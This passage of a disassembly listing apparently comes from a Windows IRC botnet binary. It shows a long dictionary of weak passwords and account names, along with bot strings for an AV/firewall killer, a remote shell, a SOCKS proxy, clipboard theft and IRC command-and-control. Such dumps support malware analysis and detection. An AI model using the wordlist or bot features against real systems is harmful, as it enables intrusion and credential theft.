XREF: .data:0042A938o align 4 aBeethove db 'beethove',0 ; DATA XREF: .data:0042A934o align 4 aBecky db 'becky',0 ; DATA XREF: .data:0042A930o align 10h aBeaver db 'beaver',0 ; DATA XREF: .data:0042A92Co align 4 aBeauty db 'beauty',0 ; DATA XREF: .data:0042A928o align 10h aBeater db 'beater',0 ; DATA XREF: .data:0042A924o align 4 aBeast db 'beast',0 ; DATA XREF: .data:0042A920o align 10h aBear db 'bear',0 ; DATA XREF: .data:0042A91Co align 4 aBeammeup db 'beammeup',0 ; DATA XREF: .data:0042A918o align 4 aBeach db 'beach',0 ; DATA XREF: .data:0042A914o align 4 aBatman db 'batman',0 ; DATA XREF: .data:0042A910o align 4 aBatch db 'batch',0 ; DATA XREF: .data:0042A90Co align 4 aBassoon db 'bassoon',0 ; DATA XREF: .data:0042A908o aBass db 'bass',0 ; DATA XREF: .data:0042A904o align 4 aBasic db 'basic',0 ; DATA XREF: .data:0042A900o align 4 aBaseball db 'baseball',0 ; DATA XREF: .data:0042A8FCo align 10h aBartman db 'bartman',0 ; DATA XREF: .data:0042A8F8o aBart db 'bart',0 ; DATA XREF: .data:0042A8F4o align 10h aBaritone db 'baritone',0 ; DATA XREF: .data:0042A8F0o align 4 aBarf db 'barf',0 ; DATA XREF: .data:0042A8ECo align 4 aBare db 'bare',0 ; DATA XREF: .data:0042A8E8o align 4 aBarber db 'barber',0 ; DATA XREF: .data:0042A8E4o align 4 aBarbara db 'barbara',0 ; DATA XREF: .data:0042A8E0o aBanks db 'banks',0 ; DATA XREF: .data:0042A8DCo align 4 aBank db 'bank',0 ; DATA XREF: .data:0042A8D8o align 4 aBandit db 'bandit',0 ; DATA XREF: .data:0042A8D4o align 4 aBananas db 'bananas',0 ; DATA XREF: .data:0042A8D0o aBanana db 'banana',0 ; DATA XREF: .data:0042A8CCo align 4 aBall db 'ball',0 ; DATA XREF: .data:0042A8C8o align 4 aBailey db 'bailey',0 ; DATA XREF: .data:0042A8C4o align 4 aBadass db 'badass',0 ; DATA XREF: .data:0042A8C0o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: .data:0042A8BCo align 4 aBacchus db 'bacchus',0 ; DATA XREF: .data:0042A8B8o aBaby db 'baby',0 ; DATA XREF: .data:0042A8B4o align 4 aBabe db 'babe',0 ; DATA XREF: .data:0042A8B0o align 10h aAzure db 'azure',0 ; DATA XREF: .data:0042A8ACo align 4 aAztecs db 'aztecs',0 ; DATA XREF: .data:0042A8A8o align 10h aAuthoriz db 'authoriz',0 ; DATA XREF: .data:0042A8A4o align 4 aAttack db 'attack',0 ; DATA XREF: .data:0042A8A0o align 4 aAtom db 'atom',0 ; DATA XREF: .data:0042A89Co align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: .data:0042A898o align 4 aAthena db 'athena',0 ; DATA XREF: .data:0042A894o align 10h aAsshole db 'asshole',0 ; DATA XREF: .data:0042A890o aAsian db 'asian',0 ; DATA XREF: .data:0042A88Co align 10h aArtist db 'artist',0 ; DATA XREF: .data:0042A888o align 4 aArthur db 'arthur',0 ; DATA XREF: .data:0042A884o align 10h aArrow db 'arrow',0 ; DATA XREF: .data:0042A880o align 4 aArmy db 'army',0 ; DATA XREF: .data:0042A87Co align 10h aArlene db 'arlene',0 ; DATA XREF: .data:0042A878o align 4 aAriadne db 'ariadne',0 ; DATA XREF: .data:0042A874o aAria db 'aria',0 ; DATA XREF: .data:0042A870o align 4 aApril db 'april',0 ; DATA XREF: .data:0042A86Co align 10h aApollo13 db 'apollo13',0 ; DATA XREF: .data:0042A868o align 4 aAnything db 'anything',0 ; DATA XREF: .data:0042A864o align 4 aAnvils db 'anvils',0 ; DATA XREF: .data:0042A860o align 10h aAnthropo db 'anthropo',0 ; DATA XREF: .data:0042A85Co align 4 aAnthrax db 'anthrax',0 ; DATA XREF: .data:0042A858o aAnswer db 'answer',0 ; DATA XREF: .data:0042A854o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: .data:0042A850o align 4 aAnon db 'anon',0 ; DATA XREF: .data:0042A84Co align 10h aAnnette db 'annette',0 ; DATA XREF: .data:0042A848o aAnne db 'anne',0 ; DATA XREF: .data:0042A844o align 10h aAnna db 'anna',0 ; DATA XREF: .data:0042A840o align 4 aAnita db 'anita',0 ; DATA XREF: .data:0042A83Co align 10h aAnimals db 'animals',0 ; DATA XREF: .data:0042A838o aAnimal db 'animal',0 ; DATA XREF: .data:0042A834o align 10h aAngie db 'angie',0 ; DATA XREF: .data:0042A830o align 4 aAngerine db 'angerine',0 ; DATA XREF: .data:0042A82Co align 4 aAngela db 'angela',0 ; DATA XREF: .data:0042A828o align 4 aAnfo db 'anfo',0 ; DATA XREF: .data:0042A824o align 4 aAndy db 'andy',0 ; DATA XREF: .data:0042A820o align 4 aAndromac db 'andromac',0 ; DATA XREF: .data:0042A81Co align 4 aAndroid db 'android',0 ; DATA XREF: .data:0042A818o aAndrea db 'andrea',0 ; DATA XREF: .data:0042A814o align 4 aAnchor db 'anchor',0 ; DATA XREF: .data:0042A810o align 10h aAnarchy db 'anarchy',0 ; DATA XREF: .data:0042A80Co aAnarchis db 'anarchis',0 ; DATA XREF: .data:0042A808o align 4 aAnalog db 'analog',0 ; DATA XREF: .data:0042A804o align 4 aAnal db 'anal',0 ; DATA XREF: .data:0042A800o align 4 aAmorphou db 'amorphou',0 ; DATA XREF: .data:0042A7FCo align 10h aAmerica db 'america',0 ; DATA XREF: .data:0042A7F8o aAmber db 'amber',0 ; DATA XREF: .data:0042A7F4o align 10h aAmanda db 'amanda',0 ; DATA XREF: .data:0042A7F0o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: .data:0042A7ECo aAlphabet db 'alphabet',0 ; DATA XREF: .data:0042A7E8o align 4 aAllow db 'allow',0 ; DATA XREF: .data:0042A7E4o align 4 aAllison db 'allison',0 ; DATA XREF: .data:0042A7E0o aAlison db 'alison',0 ; DATA XREF: .data:0042A7DCo align 4 aAlisa db 'alisa',0 ; DATA XREF: .data:0042A7D8o align 4 aAlicia db 'alicia',0 ; DATA XREF: .data:0042A7D4o align 4 aAlice db 'alice',0 ; DATA XREF: .data:0042A7D0o align 4 aAliases db 'aliases',0 ; DATA XREF: .data:0042A7CCo aAlias db 'alias',0 ; DATA XREF: .data:0042A7C8o align 4 aAlgebra db 'algebra',0 ; DATA XREF: .data:0042A7C4o aAlexande db 'alexande',0 ; DATA XREF: .data:0042A7C0o align 10h aAlex db 'alex',0 ; DATA XREF: .data:0042A7BCo align 4 aAlert db 'alert',0 ; DATA XREF: .data:0042A7B8o align 10h aAlbert db 'albert',0 ; DATA XREF: .data:0042A7B4o align 4 aAlbatros db 'albatros',0 ; DATA XREF: .data:0042A7B0o align 4 aAlbany db 'albany',0 ; DATA XREF: .data:0042A7ACo align 4 aAlaska db 'alaska',0 ; DATA XREF: .data:0042A7A8o align 4 aAirplane db 'airplane',0 ; DATA XREF: .data:0042A7A4o align 10h aAids db 'aids',0 ; DATA XREF: .data:0042A7A0o align 4 aAerobics db 'aerobics',0 ; DATA XREF: .data:0042A79Co align 4 aAdult db 'adult',0 ; DATA XREF: .data:0042A798o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: .data:0042A794o align 4 aAdrian db 'adrian',0 ; DATA XREF: .data:0042A790o align 10h aAdam db 'adam',0 ; DATA XREF: .data:0042A78Co align 4 aAction db 'action',0 ; DATA XREF: .data:0042A788o align 10h aAccount db 'account',0 ; DATA XREF: .data:0042A784o aAcademic db 'academic',0 ; DATA XREF: .data:0042A77Co align 4 aAcademia db 'academia',0 ; DATA XREF: .data:0042A778o align 10h a000000 db '000000',0 ; DATA XREF: .data:0042A774o ; .data:0042C18Co align 4 a00000 db '00000',0 ; DATA XREF: .data:0042A770o ; .data:0042C188o align 10h a0000 db '0000',0 ; DATA XREF: .data:0042A76Co ; .data:0042C184o align 4 a000 db '000',0 ; DATA XREF: .data:0042A768o ; .data:0042C180o aTesting db 'testing',0 ; DATA XREF: .data:0042A764o aDeath db 'death',0 ; DATA XREF: .data:0042A760o align 4 a00 db '00',0 ; DATA XREF: .data:0042A75Co ; .data:0042C17Co align 10h aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .data:0042A754o ; .data:0042C5CCo align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .data:0042A750o ; .data:0042C5C8o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .data:0042A74Co ; .data:0042C5C4o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .data:0042A748o ; .data:0042C5C0o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .data:0042A744o ; .data:0042C5BCo align 10h aXxxx db 'xxxx',0 ; DATA XREF: .data:0042A740o ; .data:0042C5B8o align 4 aXxx db 'xxx',0 ; DATA XREF: .data:0042A73Co ; .data:0042C5B4o aXx db 'xx',0 ; DATA XREF: .data:0042A738o ; .data:0042C5B0o align 10h asc_430E00: ; DATA XREF: .data:0042A734o ; .data:0042C5ACo unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: .data:0042A730o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .data:0042A72Co align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: .data:0042A728o align 4 aMirc_0 db 'mirc',0 ; DATA XREF: .data:0042A724o align 4 aKiddie db 'kiddie',0 ; DATA XREF: .data:0042A720o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .data:0042A71Co align 4 aScript db 'script',0 ; DATA XREF: .data:0042A718o align 4 aHax0r db 'hax0r',0 ; DATA XREF: .data:0042A714o align 4 aHacker db 'hacker',0 ; DATA XREF: .data:0042A710o align 4 aL337 db 'l337',0 ; DATA XREF: .data:0042A70Co align 4 aL33t db 'l33t',0 ; DATA XREF: .data:0042A708o align 4 aLeet db 'leet',0 ; DATA XREF: .data:0042A704o align 4 aKiller db 'killer',0 ; DATA XREF: .data:0042A700o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: .data:0042A6FCo ; .data:0042C1E8o align 4 aW00t db 'w00t',0 ; DATA XREF: .data:0042A6F8o align 4 aHeaven db 'heaven',0 ; DATA XREF: .data:0042A6F4o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: .data:0042A6F0o align 4 aSatanic db 'satanic',0 ; DATA XREF: .data:0042A6ECo aSatanik db 'satanik',0 ; DATA XREF: .data:0042A6E8o aSatan db 'satan',0 ; DATA XREF: .data:0042A6E4o align 10h aGobo db 'gobo',0 ; DATA XREF: .data:0042A6E0o align 4 aMatthew db 'Matthew',0 ; DATA XREF: .data:0042A6DCo aMatt db 'Matt',0 ; DATA XREF: .data:0042A6D8o align 4 off_430ED8 dd offset loc_74614D ; DATA XREF: .data:0042A6D4o dword_430EDC dd 7770h aMypass123 db 'mypass123',0 ; DATA XREF: .data:0042A6CCo align 4 aMypass db 'mypass',0 ; DATA XREF: .data:0042A6C8o align 4 aPw123 db 'pw123',0 ; DATA XREF: .data:0042A6C4o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .data:0042A6C0o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: .data:0042A6BCo aMypc db 'mypc',0 ; DATA XREF: .data:0042A6B8o align 4 aLove db 'love',0 ; DATA XREF: .data:0042A6B4o align 10h off_430F20 dd offset dword_647770 ; DATA XREF: .data:0042A6B0o aLogin_15 db 'login',0 ; DATA XREF: .data:0042A6ACo align 4 aHome db 'home',0 ; DATA XREF: .data:0042A6A8o align 4 aZxcv db 'zxcv',0 ; DATA XREF: .data:0042A6A4o ; .data:0042C5ECo align 4 aYxcv db 'yxcv',0 ; DATA XREF: .data:0042A6A0o align 4 aQwer db 'qwer',0 ; DATA XREF: .data:0042A69Co ; .data:0042C558o align 4 aSecret db 'secret',0 ; DATA XREF: .data:0042A698o align 4 aAsdf db 'asdf',0 ; DATA XREF: .data:0042A694o ; .data:0042C604o align 4 aPc db 'pc',0 ; DATA XREF: .data:0042A690o align 10h off_430F60 dd offset byte_6E6977 ; DATA XREF: .data:0042A68Co aTest123 db 'test123',0 ; DATA XREF: .data:0042A688o off_430F6C dd offset byte_636261 ; DATA XREF: .data:0042A684o off_430F70 dd offset byte_616161 ; DATA XREF: .data:0042A680o ; .data:0042C52Co dword_430F74 dd 61h ; .data:0042C524o aCrash db 'crash',0 ; DATA XREF: .data:0042A678o align 10h aFucked db 'fucked',0 ; DATA XREF: .data:0042A674o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: .data:0042A670o aIrule db 'irule',0 ; DATA XREF: .data:0042A66Co align 4 aOwned db 'owned',0 ; DATA XREF: .data:0042A668o align 10h a0wned db '0wned',0 ; DATA XREF: .data:0042A664o ; .data:0042C1ECo align 4 aNetDevil db 'net-devil',0 ; DATA XREF: .data:0042A660o align 4 aNetdevil db 'netdevil',0 ; DATA XREF: .data:0042A65Co align 10h aDevil db 'devil',0 ; DATA XREF: .data:0042A658o align 4 aNilez db 'Nilez',0 ; DATA XREF: .data:0042A654o align 10h aFoobar db 'foobar',0 ; DATA XREF: .data:0042A650o align 4 off_430FD8 dd offset byte_646F67 ; DATA XREF: .data:0042A64Co dword_430FDC dd 786573h off_430FE0 dd offset loc_74616F+1 ; DATA XREF: .data:0042A644o aPatrick db 'patrick',0 ; DATA XREF: .data:0042A640o aAlpha db 'alpha',0 ; DATA XREF: .data:0042A63Co align 4 a007 db '007',0 ; DATA XREF: .data:0042A638o ; .data:0042C1D8o a123abc db '123abc',0 ; DATA XREF: .data:0042A634o ; .data:0042C3E8o align 10h a1234qwer db '1234qwer',0 ; DATA XREF: .data:0042A630o ; .data:0042C3F4o align 4 a123123 db '123123',0 ; DATA XREF: .data:0042A62Co ; .data:0042C394o align 4 a121212 db '121212',0 ; DATA XREF: .data:0042A628o ; .data:0042C38Co align 4 a111111 db '111111',0 ; DATA XREF: .data:0042A624o ; .data:0042C204o align 4 a110 db '110',0 ; DATA XREF: .data:0042A620o ; .data:0042C358o a2600 db '2600',0 ; DATA XREF: .data:0042A61Co ; .data:0042C4E0o align 10h a2002 db '2002',0 ; DATA XREF: .data:0042A614o ; .data:0042C4CCo align 4 aXp_0 db 'xp',0 ; DATA XREF: .data:0042A610o align 4 aEnable db 'enable',0 ; DATA XREF: .data:0042A60Co align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: .data:0042A608o aIhavenopass db 'ihavenopass',0 ; DATA XREF: .data:0042A604o a123asd db '123asd',0 ; DATA XREF: .data:0042A600o ; .data:0042C3ECo align 4 aSuper db 'super',0 ; DATA XREF: .data:0042A5FCo align 4 aInternet db 'Internet',0 ; DATA XREF: .data:0042A5F8o align 4 a123qwe db '123qwe',0 ; DATA XREF: .data:0042A5F0o ; .data:0042C3F0o align 10h aSybase db 'sybase',0 ; DATA XREF: .data:0042A5ECo align 4 aAbc123 db 'abc123',0 ; DATA XREF: .data:0042A5E4o align 10h aAbcd db 'abcd',0 ; DATA XREF: .data:0042A5E0o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:0042A5D8o align 10h aPass_0 db 'pass',0 ; DATA XREF: .data:0042A5D4o align 4 a88888888 db '88888888',0 ; DATA XREF: .data:0042A5D0o ; .data:0042C324o align 4 a11111111 db '11111111',0 ; DATA XREF: .data:0042A5CCo ; .data:0042C20Co align 10h a111 db '111',0 ; DATA XREF: .data:0042A5C8o ; .data:0042C1F8o a54321 db '54321',0 ; DATA XREF: .data:0042A5C4o ; .data:0042C4ECo align 4 a654321 db '654321',0 ; DATA XREF: .data:0042A5C0o ; .data:0042C4F0o align 4 a123456789 db '123456789',0 ; DATA XREF: .data:0042A5BCo ; .data:0042C3ACo align 10h a12345678 db '12345678',0 ; DATA XREF: .data:0042A5B8o ; .data:0042C3A8o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0042A5B4o ; .data:0042C3A4o a123456 db '123456',0 ; DATA XREF: .data:0042A5B0o ; .data:0042C3A0o align 4 a12345 db '12345',0 ; DATA XREF: .data:0042A5ACo ; .data:0042C39Co align 4 a1234 db '1234',0 ; DATA XREF: .data:0042A5A8o ; .data:0042C398o align 4 a123 db '123',0 ; DATA XREF: .data:0042A5A4o ; .data:0042C390o a12 db '12',0 ; DATA XREF: .data:0042A5A0o ; .data:0042C384o align 4 a1: ; DATA XREF: .data:0042A59Co ; .data:0042C1F0o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: .data:0042A598o aChangeme_0 db 'Changeme',0 ; DATA XREF: .data:0042A594o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:0042A590o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0042A58Co align 10h aUnix db 'unix',0 ; DATA XREF: .data:0042A588o align 4 aLocal db 'LOCAL',0 ; DATA XREF: .data:0042A584o align 10h aPepsi db 'pepsi',0 ; DATA XREF: .data:0042A580o align 4 aServer_1 db 'SERVER',0 ; DATA XREF: .data:0042A57Co ; .data:0042C93Co align 10h aSystem db 'SYSTEM',0 ; DATA XREF: .data:0042A578o ; .data:0042C58Co ... align 4 aBackup db 'BACKUP',0 ; DATA XREF: .data:0042A574o ; .data:0042C934o align 10h aAccess db 'ACCESS',0 ; DATA XREF: .data:0042A56Co ; .data:0042C92Co align 4 aTest db 'TEST',0 ; DATA XREF: .data:0042A568o ; .data:0042C928o align 10h off_431180 dd offset loc_756464+1 ; DATA XREF: .data:0042A564o ; .data:0042C924o aOwner_1 db 'Owner',0 ; DATA XREF: .data:0042A560o ; .data:0042C920o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: .data:0042A55Co ; .data:0042C91Co align 4 aDemo db 'DEMO',0 ; DATA XREF: .data:0042A558o ; .data:0042C918o align 4 aFiles db 'FILES',0 ; DATA XREF: .data:0042A554o ; .data:0042C914o align 4 aRead db 'READ',0 ; DATA XREF: .data:0042A550o ; .data:0042C910o align 4 aBoth db 'BOTH',0 ; DATA XREF: .data:0042A54Co ; .data:0042C90Co align 4 aLadeda db 'ladeda',0 ; DATA XREF: .data:0042A548o ; .data:0042C908o align 4 aFull_0 db 'FULL',0 ; DATA XREF: .data:0042A544o ; .data:0042C904o align 4 aWrite db 'WRITE',0 ; DATA XREF: .data:0042A540o ; .data:0042C900o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: .data:0042A53Co ; .data:0042C8FCo align 4 aTemp db 'TEMP',0 ; DATA XREF: .data:0042A538o ; .data:0042C8F8o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: .data:0042A534o ; .data:0042C8F4o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .data:0042A530o ; .data:0042C8F0o align 10h aRoot_0 db 'ROOT',0 ; DATA XREF: .data:0042A528o ; .data:0042C8E8o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .data:0042A524o ; .data:0042C8E4o align 10h off_431200 dd offset word_616C62 ; DATA XREF: .data:0042A520o ; .data:0042C8E0o aFubar db 'fubar',0 ; DATA XREF: .data:0042A51Co ; .data:0042C8DCo align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .data:0042A510o ; .data:0042C8D0o align 4 aManagement db 'management',0 ; DATA XREF: .data:0042A500o align 4 aAdministrative db 'administrative',0 ; DATA XREF: .data:0042A4FCo align 4 aDirector_0 db 'director',0 ; DATA XREF: .data:0042A4F8o ; .data:0042ACE8o align 4 aOfficial db 'Official',0 ; DATA XREF: .data:0042A4F4o align 10h aDirector db 'Director',0 ; DATA XREF: .data:0042A4F0o align 4 aOracle db 'oracle',0 ; DATA XREF: .data:0042A4ECo ; .data:0042A5E8o align 4 aDb1 db 'db1',0 ; DATA XREF: .data:0042A4E8o aDatabase db 'database',0 ; DATA XREF: .data:0042A4E4o ; .data:0042A5DCo align 4 aDefault db 'default',0 ; DATA XREF: .data:0042A4E0o ; .data:0042AC7Co aGuest_0 db 'guest',0 ; DATA XREF: .data:0042A4DCo align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0042A4D8o align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0042A4D4o ; .data:0042BC10o aStudent db 'student',0 ; DATA XREF: .data:0042A4D0o ; .data:0042BB58o aOwner db 'owner',0 ; DATA XREF: .data:0042A4CCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0042A4C8o ; .data:0042A5F4o align 4 aRoot db 'root',0 ; DATA XREF: .data:0042A4C4o ; .data:0042A52Co ... align 4 aStaff db 'staff',0 ; DATA XREF: .data:0042A4C0o align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0042A4BCo align 4 aAdmins db 'admins',0 ; DATA XREF: .data:0042A4B8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0042A4B4o aAdministrater db 'administrater',0 ; DATA XREF: .data:0042A4B0o align 10h aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042A4ACo align 10h aAdministrador db 'administrador',0 ; DATA XREF: .data:0042A4A8o align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:0042A4A4o ; .data:0042A518o ... align 10h aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .data:off_42A3F4o a@room db '*@room',0 ; DATA XREF: .data:off_42A3F0o align 4 a_e_1_0bSecur_2 db '.e.(1.0b) ( secure.m.d.l ) .. Failed to start registry thread,' ; DATA XREF: sub_40C2D0+4DDo db ' error: <%d>.',0 align 4 a_e_1_0bSecur_1 db '.e.(1.0b) ( secure.m.d.l ) .. Registry monitor active.',0 ; DATA XREF: sub_40C2D0+48Ao align 10h a_e_1_0bSecur_0 db '.e.(1.0b) ( secure.m.d.l ) .. Failed to start secure thread, e' ; DATA XREF: sub_40C2D0+46Ao db 'rror: <%d>.',0 align 10h a_e_1_0bSecure_ db '.e.(1.0b) ( secure.m.d.l ) .. System secure monitor active.',0 ; DATA XREF: sub_40C2D0+41Do align 10h a_e_1_0bProce_0 db '.e.(1.0b) ( process.m.d.l ) .. Failed to start AV/FW killer th' ; DATA XREF: sub_40C2D0+3FDo db 'read, error: <%d>.',0 a_e_1_0bProcess db '.e.(1.0b) ( process.m.d.l ) .. AV/FW Killer active.',0 ; DATA XREF: sub_40C2D0+3ACo align 4 a_e_1_0bEnz_m_d db '.e.(1.0b) ( enz.m.d.l ) .. Bot started.',0 ; DATA XREF: sub_40C2D0+371o align 4 aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40C2D0+29Co align 4 aSS_3 db '%s\%s',0 ; DATA XREF: sub_40C2D0+196o align 4 a_e_1_0bEnz_m_0 db '.e.(1.0b) ( enz.m.d.l ) .. Connected to %s.',0 ; DATA XREF: sub_40C929+F2o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CA91+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CA91+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+5716o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+5701o align 4 a_e_1_0bEnz__42 db '.e.(1.0b) ( enz.m.d.l ) .. User: %s logged in.',0 ; DATA XREF: sub_40CC09+56F4o align 4 a_e_1_0bEnz__41 db '.e.(1.0b) ( enz.m.d.l ) .. Password accepted.',0 ; DATA XREF: sub_40CC09+56D7o align 4 a_e_1_0bEnz__40 db '.e.(1.0b) ( enz.m.d.l ) .. *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_40CC09+5679o align 4 a_e_1_0bEnz__39 db '.e.(1.0b) ( enz.m.d.l ) .. *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_40CC09+5609o align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+55FAo ; sub_40CC09+566Ao align 10h aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+55E6o ; sub_40CC09+5656o align 4 asc_4316C8: ; DATA XREF: sub_40CC09+55B6o unicode 0, <~>,0 a_e_1_0bEnz__38 db '.e.(1.0b) ( enz.m.d.l ) .. Random nick change: %s',0 ; DATA XREF: sub_40CC09+5565o align 4 a_e_1_0bEnz__37 db '.e.(1.0b) ( enz.m.d.l ) .. Invalid login slot number: %d.',0 ; DATA XREF: sub_40CC09+54ABo align 4 a_e_1_0bEnz__36 db '.e.(1.0b) ( enz.m.d.l ) .. No user logged in at slot: %d.',0 ; DATA XREF: sub_40CC09+54A3o align 4 a_e_1_0bSocks_0 db '.e.(1.0b) ( socks.m.d.l ) .. Failed to start server thread, er' ; DATA XREF: sub_40CC09+544Eo db 'ror: <%d>.',0 a_e_1_0bSocks_m db '.e.(1.0b) ( socks.m.d.l ) .. Server started on: %s:%d.',0 ; DATA XREF: sub_40CC09+53DFo align 4 a_p_ro_c___ db '.p.ro.c...',0 ; DATA XREF: sub_40CC09+532Co align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_40CC09+5327o align 4 a_e_1_0bEnz__35 db '.e.(1.0b) ( enz.m.d.l ) .. Reconnecting.',0 ; DATA XREF: sub_40CC09+52F4o aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CC09:loc_411EF0o align 4 a_e_1_0bEnz__34 db '.e.(1.0b) ( enz.m.d.l ) .. Disconnecting.',0 ; DATA XREF: sub_40CC09+52D2o align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CC09:loc_411ECEo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+529Do align 10h a_e_1_0bEnz__33 db '.e.(1.0b) ( enz.m.d.l ) .. Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_40CC09+5251o align 10h a_e_1_0bEnz__32 db '.e.(1.0b) ( enz.m.d.l ) .. Bot ID: %s.',0 ; DATA XREF: sub_40CC09+5213o align 4 a_e_1_0bThrea_4 db '.e.(1.0b) ( threads.m.d.l ) .. Failed to start list thread, er' ; DATA XREF: sub_40CC09+51E8o db 'ror: <%d>.',0 a_e_1_0bThrea_3 db '.e.(1.0b) ( threads.m.d.l ) .. List threads.',0 ; DATA XREF: sub_40CC09+517Do off_4319A8 dd offset byte_627573 ; DATA XREF: sub_40CC09+5157o a_e_1_0bEnz__31 db '.e.(1.0b) ( enz.m.d.l ) .. Alias list.',0 ; DATA XREF: sub_40CC09+5108o align 4 a_e_1_0bLog_m_0 db '.e.(1.0b) ( log.m.d.l ) .. Failed to start listing thread, err' ; DATA XREF: sub_40CC09+50EDo db 'or: <%d>.',0 align 4 a_e_1_0bLog_m_d db '.e.(1.0b) ( log.m.d.l ) .. Listing log.',0 ; DATA XREF: sub_40CC09+5060o align 10h a_e_1_0bEnz__30 db '.e.(1.0b) ( enz.m.d.l ) .. Network Info.',0 ; DATA XREF: sub_40CC09+4FDFo a_e_1_0bEnz__29 db '.e.(1.0b) ( enz.m.d.l ) .. System Info.',0 ; DATA XREF: sub_40CC09+4FB0o align 4 a_e_1_0bEnz__28 db '.e.(1.0b) ( enz.m.d.l ) .. Removing Bot.',0 ; DATA XREF: sub_40CC09+4F5Bo a_e_1_0bProce_7 db '.e.(1.0b) ( process.m.d.l ) .. Failed to start listing thread,' ; DATA XREF: sub_40CC09+4F2Do db ' error: <%d>.',0 align 4 a_e_1_0bProce_6 db '.e.(1.0b) ( process.m.d.l ) .. Proccess list.',0 ; DATA XREF: sub_40CC09+4EC2o align 4 aFull db 'full',0 ; DATA XREF: sub_40CC09+4EA2o align 10h a_e_1_0bProce_5 db '.e.(1.0b) ( process.m.d.l ) .. Already running.',0 ; DATA XREF: sub_40CC09+4E4Bo align 4 a_e_1_0bEnz__27 db '.e.(1.0b) ( enz.m.d.l ) .. Uptime: %s.',0 ; DATA XREF: sub_40CC09+4DFDo align 10h a_e_1_0bCmd_m_3 db '.e.(1.0b) ( cmd.m.d.l ) .. Remote shell ready.',0 ; DATA XREF: sub_40CC09:loc_411944o align 4 a_e_1_0bCmd_m_2 db '.e.(1.0b) ( cmd.m.d.l ) .. Couldn',27h,'t open remote shell.',0 ; DATA XREF: sub_40CC09+4D34o align 10h a_e_1_0bCmd_m_1 db '.e.(1.0b) ( cmd.m.d.l ) .. Remote shell already running.',0 ; DATA XREF: sub_40CC09+4D18o a_e_1_0bEnz__26 db '.e.(1.0b) ( enz.m.d.l ) .. Get Clipboard.',0 ; DATA XREF: sub_40CC09+4D02o align 4 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CC09+4CD4o align 10h a_e_1_0bFlush_3 db '.e.(1.0b) ( flushdns.m.d.l ) .. Failed to flush ARP cache.',0 ; DATA XREF: sub_40CC09:loc_4118B9o align 10h a_e_1_0bFlush_2 db '.e.(1.0b) ( flushdns.m.d.l ) .. ARP cache flushed.',0 ; DATA XREF: sub_40CC09+4CA9o align 4 a_e_1_0bFlush_1 db '.e.(1.0b) ( flushdns.m.d.l ) .. Failed to load dnsapi.dll.',0 ; DATA XREF: sub_40CC09:loc_4118A2o align 4 a_e_1_0bFlush_0 db '.e.(1.0b) ( flushdns.m.d.l ) .. Failed to flush DNS cache.',0 ; DATA XREF: sub_40CC09:loc_41189Bo align 4 a_e_1_0bFlushdn db '.e.(1.0b) ( flushdns.m.d.l ) .. DNS cache flushed.',0 ; DATA XREF: sub_40CC09+4C8Bo align 10h a_e_1_0bHttpd_0 db '.e.(1.0b) ( httpd.m.d.l ) .. Failed to start server thread, er' ; DATA XREF: sub_40CC09+4C1Bo db 'ror: <%d>.',0 a_e_1_0bHttpd_m db '.e.(1.0b) ( httpd.m.d.l 